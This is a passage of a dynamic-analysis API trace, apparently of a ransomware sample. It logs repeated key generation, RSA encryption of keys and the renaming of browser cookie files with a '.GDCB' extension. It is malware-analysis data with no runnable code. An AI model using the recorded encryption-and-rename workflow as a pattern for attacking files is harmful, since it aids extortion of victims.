flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0188.020] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\5ARQYMIV.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\5arqymiv.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\5ARQYMIV.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\5arqymiv.txt.gdcb")) returned 1 [0188.025] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0188.027] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0188.028] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0188.028] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0188.028] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0188.028] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4540) returned 1 [0188.029] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0188.030] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0188.030] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0188.030] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0188.030] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0188.032] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5035850) returned 1 [0188.032] CryptGetKeyParam (in: hKey=0x5035850, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0188.032] CryptEncrypt (in: hKey=0x5035850, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0188.033] GetLastError () returned 0x0 [0188.033] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0188.033] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0188.035] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5035910) returned 1 [0188.035] CryptGetKeyParam (in: hKey=0x5035910, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0188.035] CryptEncrypt (in: hKey=0x5035910, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0188.035] GetLastError () returned 0x0 [0188.035] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0188.035] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\5AV8L20N.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\5av8l20n.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0188.037] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0188.039] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0188.039] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x154, lpOverlapped=0x0) returned 1 [0188.048] VirtualAlloc (lpAddress=0x0, dwSize=0x160, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0188.054] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\5AV8L20N.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\5av8l20n.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\5AV8L20N.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\5av8l20n.txt.gdcb")) returned 1 [0188.059] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0188.061] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0188.062] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0188.062] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0188.062] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0188.062] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0188.063] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0188.064] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0188.064] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0188.064] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0188.065] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0188.067] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5035890) returned 1 [0188.067] CryptGetKeyParam (in: hKey=0x5035890, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0188.067] CryptEncrypt (in: hKey=0x5035890, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0188.067] GetLastError () returned 0x0 [0188.067] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0188.067] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0188.069] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5036010) returned 1 [0188.069] CryptGetKeyParam (in: hKey=0x5036010, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0188.069] CryptEncrypt (in: hKey=0x5036010, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0188.069] GetLastError () returned 0x0 [0188.069] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0188.069] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\5NWXN3UI.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\5nwxn3ui.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0188.071] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0188.073] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0188.074] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x67, lpOverlapped=0x0) returned 1 [0188.083] VirtualAlloc (lpAddress=0x0, dwSize=0x70, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0188.087] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\5NWXN3UI.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\5nwxn3ui.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\5NWXN3UI.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\5nwxn3ui.txt.gdcb")) returned 1 [0188.094] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0188.095] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0188.096] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0188.096] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0188.096] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0188.096] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0188.097] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0188.098] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0188.098] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0188.098] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0188.099] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0188.101] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5035b10) returned 1 [0188.101] CryptGetKeyParam (in: hKey=0x5035b10, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0188.101] CryptEncrypt (in: hKey=0x5035b10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0188.101] GetLastError () returned 0x0 [0188.101] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0188.101] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0188.103] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x50358d0) returned 1 [0188.103] CryptGetKeyParam (in: hKey=0x50358d0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0188.103] CryptEncrypt (in: hKey=0x50358d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0188.103] GetLastError () returned 0x0 [0188.103] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0188.103] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\5STJ6NZL.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\5stj6nzl.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0188.106] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0188.107] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0188.108] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x2dc, lpOverlapped=0x0) returned 1 [0188.118] VirtualAlloc (lpAddress=0x0, dwSize=0x2e0, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0188.122] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\5STJ6NZL.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\5stj6nzl.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\5STJ6NZL.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\5stj6nzl.txt.gdcb")) returned 1 [0188.128] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0188.129] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0188.130] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0188.130] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0188.130] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0188.130] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0188.131] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0188.132] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0188.132] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0188.132] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0188.132] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0188.134] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5035b90) returned 1 [0188.134] CryptGetKeyParam (in: hKey=0x5035b90, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0188.134] CryptEncrypt (in: hKey=0x5035b90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0188.135] GetLastError () returned 0x0 [0188.135] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0188.135] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0188.137] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5035d90) returned 1 [0188.137] CryptGetKeyParam (in: hKey=0x5035d90, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0188.137] CryptEncrypt (in: hKey=0x5035d90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0188.137] GetLastError () returned 0x0 [0188.137] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0188.137] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\5TAY54V0.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\5tay54v0.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0188.139] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0188.140] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0188.141] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0xaa, lpOverlapped=0x0) returned 1 [0188.150] VirtualAlloc (lpAddress=0x0, dwSize=0xb0, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0188.155] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\5TAY54V0.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\5tay54v0.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\5TAY54V0.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\5tay54v0.txt.gdcb")) returned 1 [0188.162] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0188.164] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0188.165] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0188.165] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0188.165] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0188.165] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0188.166] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0188.167] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0188.167] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0188.167] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0188.167] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4540) returned 1 [0188.169] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5035990) returned 1 [0188.169] CryptGetKeyParam (in: hKey=0x5035990, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0188.169] CryptEncrypt (in: hKey=0x5035990, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0188.169] GetLastError () returned 0x0 [0188.169] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0188.169] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0188.171] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5035bd0) returned 1 [0188.171] CryptGetKeyParam (in: hKey=0x5035bd0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0188.171] CryptEncrypt (in: hKey=0x5035bd0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0188.172] GetLastError () returned 0x0 [0188.172] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0188.172] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\5WQEGNKI.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\5wqegnki.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0188.174] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0188.175] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0188.176] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0xbf, lpOverlapped=0x0) returned 1 [0188.186] VirtualAlloc (lpAddress=0x0, dwSize=0xc0, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0188.190] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\5WQEGNKI.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\5wqegnki.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\5WQEGNKI.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application 